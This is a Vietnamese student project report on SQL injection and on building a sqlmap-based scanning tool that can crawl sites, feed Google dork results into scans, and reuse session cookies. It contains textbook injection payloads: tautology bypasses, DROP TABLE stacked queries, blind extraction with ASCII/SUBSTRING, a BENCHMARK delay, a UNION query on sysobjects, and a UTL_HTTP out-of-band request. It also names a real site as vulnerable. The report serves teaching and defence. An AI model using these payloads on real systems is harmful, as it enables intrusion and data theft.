Tìm hiểu sql injection và viết công cụ tấn công website dựa trên sqlmap
TRƯỜNG ĐẠI HỌC BÁCH KHOA HÀ NỘI
VIỆN CÔNG NGHỆ THÔNG TIN VÀ TRUYỀN THÔNG
──────── * ───────
ĐỒ ÁN MÔN HỌC
NGÀNH CÔNG NGHỆ THÔNG TIN
TÌM HIỂU SQL INJECTION VÀ VIẾT
CÔNG CỤ TẤN CÔNG WEBSITE DỰA
TRÊN SQLMAP
Sinh viên thực hiện: Lê Văn Quân
Lớp CNTT&TT1.1 – K56
Giáo viên hướng dẫn: Ths Bùi Trọng Tùng
HÀ NỘI 11-2015
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
LỜI NÓI ĐẦU
Theo báo cáo của Whitehat Security năm 2015, 86% website chứa ít nhất
một lỗ hổng bảo mật nghiêm trọng. Trong đó, số lượng website có khả năng bị
nhiễm lỗ hổng bảo mật như sau:
KHẢ NĂNG BỊ LỖ HỔNG BẢO MẬT WEBSITE
FINGERPRINTING
SQL INJECTION
DIRECTORY INDEXING
SESSION FIXATION
URL REDIRECTOR ABUSE
CONTENT SPOOFING
CROSS-SITE SCRIPTING
INSUFFICIENT TRANSPORT LAYER PROTECTION
0
10
20
30
40
50
60
70
80
%
Biểu đồ 1: Thống kê của Whitehat security về bảo mật website 2015
Năm 2008, Sony bị tấn công bằng SQL Injection và rò rỉ hàng triệu thông tin
của khách hàng.
Năm 2010, BKAV bị tấn công và rò rỉ thông tin và hạ danh tiếng cũng bởi
SQL Injection.
Hiện tại, 6% website trên toàn thế giới vẫn bị lỗ hổng SQL Injection, hacker
có thể lấy toàn bộ thông tin lưu trên databases của hệ thống, có thể thay đổi thông
tin đó, có thể chiếm quyền quản trị website. Thử tưởng tượng một hệ thống ngân
hàng bị nhiễm lỗ hổng này, hacker có thể làm những gì? Hay một hệ thống tên lửa
được điều khiển bằng website mà có lỗ hổng này, liệu an ninh trên thế giới có được
đảm bảo?
Vậy SQL Injection là gì? SQL Injection hoạt động như thế nào? Làm thế nào
để phòng tránh được nó?
Tài liệu sau đây cung cấp các thông tin về định nghĩa, các phương pháp tấn
công bằng SQL Injection, cách thức xây dựng công cụ tấn công SQL Injection qua
sqlmap API để giúp những người quản trị website có thể tự kiểm tra hệ thống
website của mình có bị nhiễm SQL Injection không và các developer có thể tránh
những lỗ hổng đó ngay từ khi bắt đầu phát triển dự án.
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
MỤC LỤC
CHƯƠNG I: TỔNG QUAN VỀ SQL INJECTION ...................................................4
1.1. Định nghĩa và một vài ví dụ ..........................................................................4
1.2. Các kỹ thuật tấn công SQL Injection ............................................................5
1.2.1.
boolean-based blind .............................................................................5
1.2.2.
time-based blind ..................................................................................6
1.2.3.
error-based ...........................................................................................6
1.2.4.
UNION query-based............................................................................7
1.2.5.
stacked queries ....................................................................................7
1.2.6.
out-of-band ..........................................................................................7
1.3. Cách phòng vệ ...............................................................................................7
CHƯƠNG II: XÂY DỰNG CÔNG CỤ TẤN CÔNG WEBSITE THÔNG QUA
SQL INJECTION ........................................................................................................8
2.1. Giới thiệu SQLmap ..........................................................................................8
2.1.1. Một vài cách sử dụng SQLmap thường gặp .............................................8
2.1.2. Cách thức sqlmap quét forms va crawl website. .......................................8
2.2. Xác thực trong ứng dụng Web .........................................................................9
2.2.1. Định nghĩa .................................................................................................9
2.2.2. Một vài kỹ thuật xác thực website ..........................................................10
2.2.3. Các phương thức xác thực trong SQLmap..............................................10
2.2.4. Cookies và sessions .................................................................................10
2.3. Xây dựng chương trình ..................................................................................12
2.3.1. Phân tích và thiết kế ................................................................................12
2.3.3. Hoàn thiện và kiểm thử chương trình .....................................................15
2.3.4. Tìm hiểu và so sánh black box và white box ..........................................16
TRA CỨU BẢNG BIỂU ..........................................................................................18
TÀI LIỆU THAM KHẢO .........................................................................................19
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
1.1.
CHƯƠNG I: TỔNG QUAN VỀ SQL INJECTION
Định nghĩa và một vài ví dụ
Sql Injection là một lỗ hổng cho phép người dung có thể chèn và thực thi câu lệnh
SQL thông qua dữ liệu đầu vào của Web.
Ví dụ 1: SQL Injection dựa vào 1=1 luôn đúng
Khi tìm kiếm user, server có thể sẽ thực thi đoạn mã sau:
//Lấy UserID từ dữ liệu đầu vào
txtUserId = getRequestString("UserId");
//Tìm kiếm xem trong bảng Users xem có user nào có UserID = txtUserID là giá trị nhập
vào
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
Nếu ta nhập UserId = một số thì sẽ không có vấn đề gì xảy ra cả, nhưng nếu ta nhập
User ID = “105 or 1=1” thì câu truy vấn sẽ thành:
txtSQL = "SELECT * FROM Users WHERE UserId = 105 or 1=1
Điều kiện 105 or 1=1 sẽ trở thành luôn đúng, vì vậy hacker có thể trích xuất dữ liệu
từ SQL database một cách dễ dàng nếu điều kiện đầu vào không chặt chẽ.
Ví dụ 2: SQL Injection dựa vào ““=”” luôn đúng.
Khi xác thực thành viên, server có thể thực thi đoạn mã sau:
uName = getRequestString("UserName");
uPass = getRequestString("UserPass");
sql = "S ELECT * FROM Users WHERE Name ='" + uName + "' AND Pass ='" + uPass + "'"
Hacker có thể khéo léo chèn “or” hoặc “and” vào trong trường uName và uPass như
sau:
SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""
Câu truy vấn trên hoàn toàn hợp lệ, sẽ trích toàn bộ các trường trong table Users ra
ngoài vì (""="") luôn đúng
Ví dụ 3: SQL Injection dựa vào thực hiện nhiều câu lệnh đồng thời.
Hầu hết các databases đều hỗ trợ thực thi nhiều câu lệnh SQL cách nhau bởi dấu
chẩm phẩy “;”
Ví dụ:
Server code:
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
Khi hacker dùng input UserID là:
105; DROP TABLE Suppliers
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
Server tìm kiếm user có id là 105, sau đó xóa Table Suppliers
1.2.
Các kỹ thuật tấn công SQL Injection
SQL Injection gồm 6 kỹ thuật sau đây:
1.2.1. boolean-based blind
Giả sử website có link http://www.example.com/index.php?id=1 hiển thị dữ liệu
Nếu ta thêm ‘AND’1=2 thành http://www.example.com/index.php?id=1'and‘1=2,
website ngừng hiển thị dữ liệu, sau đó thử thay 1=2 bằng 1=1, website lại hiển thị
dữ liệu. Khi đó website đã bị lộ lỗ hổng Boolean-based blind (SQL injection blink
dựa trên đúng sai)
Nguyên nhân là do website đã khôn khéo ẩn những kết quả sai cú pháp hoặc không
đúng, tuy nhiên câu truy vấn của website vẫn dễ dàng khai thác
SELECT * FROM user WHERE id=’$id’
Khi không hiển thị như vậy, ta có thể thử bằng cách đoán lần lượt từng chữ cái của
thông tin ta muốn lấy bằng cách dùng
AND ASCII(SUBSTRING(username,1,1)) =97
SUBSTRING (expression, start, length) dùng để lấy ký length ký tự
bắt đầu từ start của username.
ASCII là hàm chuyển ký tự đó sang mã ASCII được tra cứu dưới đây
Dựa vào cách chèn trên, ta có thể kiểm tra chữ cái đầu tiên của
username có phải là a hay không.
Để nhanh chóng hơn, có thể thử với <>
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
Bảng 2: Bảng tra cứu mã ASCII, dùng để lấy thông tin từ database
1.2.2. time-based blind
Tương tự cách tấn công dựa trên Boolean-based blind, chỉ khác chúng ta sẽ sử dụng
nếu điều kiện đúng thì máy chủ sẽ delay bao lâu bằng cách sử dụng
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))
1.2.3. error-based
Lỗ hổng này dễ nhận biết và dễ tấn công nhất, ví dụ truy vấn là
SELECT * FROM User WHERE id=’$id’
Nếu ta truyền id có giá trị 1’, câu truy vấn sẽ bị sai cú pháp và hiển thị kết quả ra
ngoài giao diện web.
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
Hình 3: Website angelvestgroup.com bị lỗ hổng sql error-based.
Hacker có thể dễ dàng trích xuất dữ liệu trong database dựa trên lỗ hổng này.
1.2.4. UNION query-based
Giả sử website aneglvestgroup trên bị mắc lỗ hổng UNION query-based,
Hacker có thể khéo léo chèn đoạn mã sau:
union all select name from sysobjects where xtype='u'
vào cuối link và có thể lấy được name trong bảng sysobjects mà có xtype=’u’
1.2.5. stacked queries
Đây là cách hack dựa vào câu lệnh kép trong SQL
Ví dụ sql queries là
SELECT * FROM User WHERE id=”$id”
Ta có thể chèn $id = 1;DROP TABLE User, khi đó truy vấn sẽ là
SELECT * FROM User WHERE id=1; DROP TABLE User
Sẽ xóa ngay table User sau khi truy vấn đến id=1.
Hacker có thể dễ dàng truy vấn dữ liệu đến database, thay đổi thông tin trên
database như username, password, …
Với lỗi này, admin có thể làm gì với database thì hacker cũng có thể làm được như
vậy.
1.2.6. out-of-band
Tương tự stackd qerries, nhưng lần này hacker có thể tấn công ddos các
website khác bằng
||UTL_HTTP.request('(URL)/'||(SELECT user FROM DUAL)) -1.3.
Cách phòng vệ
Một số web developers sử dụng cách chặn các từ khóa trong SQL Input để tránh bị
tấn công SQL Injection. Tuy nhiên cách này sinh ra nhiều bất tiện. Cách tốt nhất là
sử dụng SQL Parameters.
Ví dụ
txtNam = getRequestString("CustomerName");
txtAdd = getRequestString("Address");
txtCit = getRequestString("City");
txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)";
db.Execute(txtSQL,txtNam,txtAdd,txtCit);
Lệnh db.Execute sẽ chèn các parameters vào câu lệnh sql và tránh việc chèn những
input chứa ác ý.
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
CHƯƠNG II: XÂY DỰNG CÔNG CỤ TẤN CÔNG WEBSITE THÔNG
QUA SQL INJECTION
2.1. Giới thiệu SQLmap
SQLmap là công cụ quét lỗ hổng bảo mật database và tự động quét sql injection.
SQLmap được viết bằng python, chạy ổn định trên nền python2.6 và python2.7
2.1.1. Một vài cách sử dụng SQLmap thường gặp
SQLmap là công cụ quét lỗ hổng bảo mật database và tự động quét sql injection.
SQLmap được viết bằng python, chạy ổn định trên nền python2.6 và python2.7
Một vài cách dung của sqlmap sau đây:
Option
-h, --help
Hiển thị hướng dẫn
-hh
Hiển thị hướng dẫn đầy đủ
--version
Hiển thị phiên bản
-v VERBOSE
Hiển thị chi tiết
Target
-d DIRECT
Kết nối trực tiếp đến database
-u URL
Kết nối tới URL
-l LOGFILE
Phân tích kết quả từ log file
-m BULKFILE
Quét nhiều mục tiêu được ghi trong file
-r REQUESTFILE
Thực hiện HTTP request từ file
-g GOOGLEDORK
Lấy kết quả tìm kiếm từ google và quét
lần lượt
-c CONFIGFILE
Lấy option từ file ini
Injection
-p
Chọn parameter(s)
--skip
Bỏ qua parameter
--batch
--crawl=x
Bảng 4: Cách sử dụng Mysql Injection
2.1.2. Cách thức sqlmap quét forms va crawl website.
Cách thức sqlmap quét forms
Kiểm tra kết nối tới url
Tìm kiếm form
Nếu không tìm thấy form, kết thúc chương trình
Nếu tìm thấy form, đưa ra các parameters của form đó
Hỏi người dùng có muốn kiểm tra form này không (mặc định có)
Kiểm tra độ ổn định của url (sau khi send post/get, url có giữ nguyên hay không)
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
Nếu Url không ổn định, sql sẽ so sánh và dựa vào sự khác nhau của url trả về để
đưa ra kết quả
Kiểm tra parameter trong form
Đưa ra kết quả của parameter đó
Kết thúc parameters
Kết thúc forms
Đưa ra kết quả, kết thúc chương trình
Bảng 5: Cách thức sqlmap quét form
Kiểm tra có sitemap hay không (mặc định không)
Nhập vào số luồng (mặc định 1)
Kiểm tra url có redirect hay không, hỏi người dùng có muốn theo link này hay
không (n)
Dựa vào độ depth của crawl, lấy ra danh sách link bằng cách lấy từng link trong
mỗi trang, lưu lại link đó, gửi http request và nhận http response, tiếp tục lấy toàn
bộ link trong trang đó, cứ như vậy đến khi đạt được độ sâu
Nếu không có link thì kết thúc chương trình
Nếu có link, chương trình sẽ lọc ra các link có cùng cấu trúc, ví dụ
http://myphamdep.org/product.php?id=1 và
http://myphamdep.org/pruduct.php?id=2 sẽ chỉ được test 1 lần.
Đưa ra link đầu tiên, hỏi người dùng muốn test không (y)
Test nếu được yêu cầu
Lặp lại cho đến khi hết toàn bộ link
Đưa ra kết quả
Kết thúc chương trình
Bảng 6: Cách thức sqlmap crawl website
2.2. Xác thực trong ứng dụng Web
2.2.1. Định nghĩa
Xác thực là một việc xác định một user chính là người đó.
Hiểu đơn giản, khi tạo 1 user là abcxyz và có mật khẩu 123456. Khi xác thực,
website sẽ hỏi username và password là gì. Người dùng sẽ nhập vào username và
password đã tạo lập trước đó, và máy chủ sẽ xác nhận đây chính là user mà đã tạo
username abcxyz.
Mục đích của việc xác thực trên, là tránh những người khác có thể làm những việc
mà máy chủ ủy quyền username abcxyz làm việc. Vì vậy, máy chủ sẽ cố gắng
không để hacker truy cập được user mà không cần mật khẩu hoặc dễ dàng lấy được
mật khẩu.
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
2.2.2. Một vài kỹ thuật xác thực website
HTTP Basic Authentication
HTTP Digest Authentication
HTTPS Client Authentication
Form Based Authentication
2.2.3. Các phương thức xác thực trong SQLmap
Sqlmap hỗ trợ 3 phương thức xác thực http
Basic
Digest
NTLM
2.2.4. Cookies và sessions
Cookies là gì?
Cookie thường được sử dụng để xác thực người dùng, vậy Cookie là gì?
Cookie là một file nhỏ máy chủ đính kèm vào thiết bị của người dùng. Mỗi khi thiết
bị đó truy cập một trang với browser, nó cũng sẽ gửi kèm cookie. Máy chủ sẽ phân
tích và xử lý cookie đó.
Tạo một cookie trong php
setcookie(name*, value, expire, path, domain, secure, httponly);
Sessions là gì?
Session là cách mà máy chủ lưu thông tin (trong các biến) giữa nhiều trang với
nhau.
Không giống cookie, thông tin không được lưu trên máy của người dùng.
Tương tác cookies và sessions giữa client và webserver.
Lần đầu truy cập webserver
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
Browser truy
cập website
Webserver
khởi tạo
session
Browser lưu
cookie
Webserver gửi
cookie cho
browser
Hình 7: Giao tiếp giữa server và client khi chưa có cookie và session.
Lần truy cập sau
Browser truy cập server, gửi
kèm cookie
Browser hiển thị trang, lưu
cookie mới nếu có
Server kiểm tra cookie có
tương ứng với session nào
không
•Nếu không, khởi tạo session mới
•Nếu có, trả về các giá trị được lưu
trong session cũ
Trả về trang với các biến
được lấy từ session tương
ứng
Hình 8: Giao tiếp giữa server và client khi đã có cookie và session.
Cách thức máy chủ xác thức người dùng trong web application
Khi người dùng truy cập website với cookie trong http header, máy chủ sẽ tìm kiếm
file session tương ứng. Nếu tồn tại file đó, máy chủ sẽ trả về trang với các biến
được lưu trong file session, trong file session đã lưu các thông tin như username,
….
Vì vậy chúng ta cũng có thể truy cập vào tài khoản của một user nào đó nếu biết
cookie của người dùng đó.
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
2.3. Xây dựng chương trình
2.3.1. Phân tích và thiết kế
a) Yêu cầu
Chương trình có thể quét được lỗ hổng sql injection trên 1 link
Chương trình có thể tự crawl các link trên website, tự động lấy các url và chạy lần lượt các
trang đó
Chương trình có thể tự tìm forms và chạy sql injection bằng các parameter(s).
Chương trình có thể tự lọc kết quả tìm kiếm từ google, sau đó lần lượt quét các trang trên
đó.
Chương trình có thể quét nhiều website được lưu trữ trong file xml, txt
Cho phép nhập thêm nhiều tùy chọn
Hiển thị kết quả ra giao diện và tự động lưu vào file csv (với nhiều trang) hoặc log file (với
1 trang).
b) Giao diện
Hình 9: Giao diện chương trình quét lỗ hổng sql injection
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
c) Thiết kế chương trình
Hình 10: Sơ đồ khối chương trình
Chương trình sẽ tạo một form show ra cho người dùng những tùy chọn sau đây:
1. Quét theo URL
Cho phép nhập url
Cho phép crawls với độ sâu tùy chọn
2. Quét theo kết quả tìm kiếm từ google
Cho phép nhập từ khóa
3. Quét danh sách file có sẵn
Cho phép chọn danh sách file được lưu sẵn
4. Cho phép nhập thêm những tùy chọn nâng cao như sử dụng xác thực bằng http.
Sau khi người dùng nhập tùy chọn và ấn Run, phần điều khiển của chương trình sẽ
dựa vào form và suy ra được command theo chương trình đã lập trình sẵn và gọi
command đến sqlmap. Sqlmap được viết bằng python và được chạy trên nền python
vì vậy ta cần cả python và sqlmap trên máy. Sau khi sqlmap/python chạy xong
chương trình, nó sẽ trả lại kết quả cho chương trình và chương trình sẽ show nó lên
form.
d) Sử dụng kỹ thuật xác thực http
Cú pháp của sqlmap với HTTP protocol authentication là
Username:password
Ví dụ
$ python sqlmap.py -u
"http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
--auth-type Basic --auth-cred "testuser:testpass"
Sẽ tấn công http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1 với
phương thức xác thực Basic và username testuser, mật khẩu là testpass
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
e) Sử dụng cookie
Đăng nhập bằng tài khoản
Đăng nhập bằng firefox
Lấy cookie từ trình duyệt
Vào Inspect Element, Network, Reload nếu cần, chọn request đầu tiên và xem
cookie của nó.
Hình 11: Quét bằng cookie đã lấy
Cấu trúc quét bằng cookie của sqlmap là
{command} –cookie={nội dung cookie}
Thực nghiệm
Hình 12: SQLmap quét không dùng xác thực, webserver trả về form đăng nhập
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
Hình 13: Sqlmap quét sử dụng cookie, trả về trang quản trị
2.3.3. Hoàn thiện và kiểm thử chương trình
a) Môi trường làm việc là Windows 10 64 bit có kết nối mạng tới website bị tấn
công.
b) Chuẩn bị những công cụ sau trước khi lập trình
1. Python trên Windows, tải tại https://www.python.org/
2. Sqlmap, được viết bằng python, tải tại: http://sqlmap.org/
3. Visual Studio dùng để viết ứng dụng trên Windows.
c) Cách thức chương trình hoạt động
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
2.3.4. Tìm hiểu và so sánh black box và white box
So sánh
Định nghĩa
Black Box và White Box
trong Web development
Ưu điểm
Black Box
Là phương pháp kiểm tra
độ bảo mật của phần
mềm như một “hộp đen”
– người kiểm tra không
cần phải biết về hoạt
động bên trong của nó.
Là phương pháp kiểm tra
độ bảo mật website bằng
cách gửi nhận http
request/response, cố tình
đưa vào các input ác ý
nhằm đưa ra lỗ hổng của
website.
Ngoài ra black box còn
có thể trực tiếp quét lỗ
hổng của web server.
Nhược điểm
White Box
Là phương pháp kiểm tra
độ bảo mật của phần mềm
bằng cách quét trực tiếp
source code.
Là phương pháp kiểm tra
trực tiếp source code, xác
định truy vấn đến
database có sơ hở hay
không, kiểm tra cách hiển
thị ra ngoài có dễ bị chèn
thêm script hay không,
…v…v….
Dễ dàng thực hiện
Không cần biết source
code
Sử dụng tool có thể
kiểm tra được nhiều
website
Kiểm tra bằng cách sử
dụng chính cách
hacker tấn công
Chỉ sử dụng http
Không thể bao quát
được toàn bộ cách
tấn công của hacker.
Nếu không bao quát
được, hacker vẫn có
thể tìm ra lỗ hổng mà
developers không tìm
ra
Cách quét rất tốn thời
gian, có thể nói là vô
hạn
Dễ dàng bỏ sót
Không bị ảnh hưởng
tới website khi quét
Có thể quét trước khi
hoạt động
Kiểm soát được hầu
hết các chi tiết nhỏ
Kiểm tra lỗ hổng trước
khi hacker tấn công
Thời gian quét hữu
hạn
Có thể bỏ sót do chỉ
quét được một phần
code
Phải lập trình cho
từng framework/
source code…..
Làm tăng thời gian
development rất
nhiều, đặc biệt khi
update code.
Bảng 14: So sánh whitebox và blackbox
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
Các tool White Box được sử dụng thường dùng để quét các unit (có thể là một class,
một file php, …), được hiểu là thành phần nhỏ nhất có thể test trong Source code.
Để quét bằng White Box, tester phải quên đi về Project và phải tư duy như một
hacker. Trong các dự án được viết bằng php, công cụ hay được sử dụng để test là
phpunit (được tải về tại: https://phpunit.de/)
Ngoài ra còn có Junit cho Java, Nunit cho Dotnet…..
Whitebox nói chung và phpunit nói riêng, thường được sử dụng cho Extreme
Programming (thường được viết tắt là XP – là phương thức phát triển phần mềm
nhanh và hiệu quả nhất khi khách hàng thay đổi yêu cầu).
Quá trình phát triển phần mềm dựa trên test tự động và liên tục gọi là Test Driven
Development (TDD). Trong quá trình này, thay vì code được viết trước, developers
sẽ viết testing unit trước như một bản thiết kế sơ khai của chương trình, sau đó mới
viết code để pass các testing unit sau. Cứ mỗi lần code thay đổi, dev(s) có thể dễ
dàng chạy lại quá trình test với các test cases đã được khéo léo đưa vào lúc trước,
giảm thời gian phát triển phần mềm bằng cách luôn kiểm tra được lỗi.
Đối với bảo mật website nói chung và sql injection nói riêng, dev có thể chủ động
đưa vào các input ác ý và định nghĩa thế nào là an toàn cho testing unit nhằm kiểm
tra lỗ hổng bảo mật tự động và có thể quét liên tục trong quá trình dev.
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
TRA CỨU BẢNG BIỂU
Biểu đồ 1: Thống kê của Whitehat security về bảo mật website 2015..............……3
Bảng 2: Bảng tra cứu mã ASCII, dùng để lấy thông tin từ database……………….6
Hình 3: Website angelvestgroup.com bị lỗ hổng sql error-based…………………...7
Bảng 4: Cách sử dụng Mysql Injection……………………………………………..8
Bảng 5: Cách thức sqlmap quét form………………………………………………9
Bảng 6: Cách thức sqlmap crawl website………………………………………......9
Hình 7: Giao tiếp giữa server và client khi chưa có cookie và session…………….11
Hình 8: Giao tiếp giữa server và client khi đã có cookie và session……………….11
Hình 9: Giao diện chương trình quét lỗ hổng sql injection………………………...12
Hình 10: Sơ đồ khối chương trình………………………………………..………..13
Hình 11: Quét bằng cookie đã lấy……………………………………………….....14
Hình 12: SQLmap quét không dùng xác thực, webserver trả về form đăng nhập....14
Hình 13: Sqlmap quét sử dụng cookie, trả về trang quản trị……………………….15
Bảng 14: So sánh whitebox và blackbox…………………………………….…….16
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
TÀI LIỆU THAM KHẢO
1. SQLmap user’s manual: https://github.com/sqlmapproject/sqlmap/wiki
2. RFC2616: http://www.w3.org/Protocols/rfc2616/rfc2616.html
3. SQL Injection (w3schools.com):
http://www.w3schools.com/sql/sql_injection.asp
4. SQL Injection (owasp.org): https://www.owasp.org/index.php/SQL_Injection
5. Out of band https://www.acunetix.com/blog/articles/blind-out-of-band-sqlinjection-vulnerability-testing-added-acumonitor/
6. Boolean-based
http://security.stackexchange.com/questions/61606/understanding-booleanbased-sql-injection
7. Time-based http://www.sqlinjection.net/time-based/
8. Error-based http://www.sqlinjectionwiki.com/Categories/2/mysql-sql-injectioncheat-sheet/
9. UNION query-based http://www.troyhunt.com/2013/07/everything-you-wantedto-know-about-sql.html
10. Stacked Queries http://www.w3schools.com/sql/sql_injection.asp
11. Web Application Scanners Black Box vs. White Box
https://www.owasp.org/images/7/76/OWASP_IL_2008_Sharabani_BlackBox_
Vs_WhiteBox.ppt
12. Web Application Security, tác giả ThS. Trịnh Tuấn Đạt
13. http://soict.hust.edu.vn/~dattt/webjava/Bai18_WebApp_Security_Scheme.pdf
14. Session và cookie: http://w3schools.com
Sinh viên thực hiện: 20102035 Lê Văn Quân K56 Lớp CNTT&TT1.1
- Xem thêm -